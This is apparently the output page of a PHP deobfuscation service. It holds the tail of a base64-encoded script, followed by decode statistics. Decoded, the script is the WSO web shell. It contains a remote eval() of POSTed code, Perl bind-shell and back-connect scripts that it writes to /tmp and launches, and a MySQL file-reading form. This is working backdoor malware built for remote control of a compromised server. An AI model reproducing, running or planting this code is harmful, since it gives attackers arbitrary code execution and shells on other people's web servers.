gICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRkYi0+ZmV0Y2goKSkgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9ImxvYWRmaWxlIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxici8+PHByZSBjbGFzcz1tbDE+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkgLiAnPC9wcmU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb0Zvb3RlcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYmFja19jb25uZWN0X3AgPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWk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h0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KCTwvZm9ybT48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjZigkZiwgJHQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCAidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3LCBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCAkYmluZF9wb3J0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYnAucGwgIiAuICRfUE9TVFsncDInXSAuICIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGVlcCgxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXQNCiIgLiB3c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpIC4gIjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9QT1NUWydwMSddID09ICdiY3AnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsICRiYWNrX2Nvbm5lY3RfcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiIC4gJF9QT1NUWydwMiddIC4gIiAiIC4gJF9QT1NUWydwMyddIC4gIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNsZWVwKDEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dA0KIiAuIHdzb0V4KCJwcyBhdXggfCBncmVwIGJjLnBsIikgLiAiPC9wcmU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvRm9vdGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBhY3Rpb25SQygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUAkX1BPU1RbJ3AxJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSBhcnJheSgidW5hbWUiID0+IHBocF91bmFtZSgpLCAicGhwX3ZlcnNpb24iID0+IHBocHZlcnNpb24oKSwgIndzb192ZXJzaW9uIiA9PiBXU09fVkVSU0lPTiwgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkYSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX1BPU1RbJ2EnXSkpIGlmIChpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSkgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQo=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 77f13846331de5a7bead2ad77335c23c
Eval Count 1
Decode Time 296 ms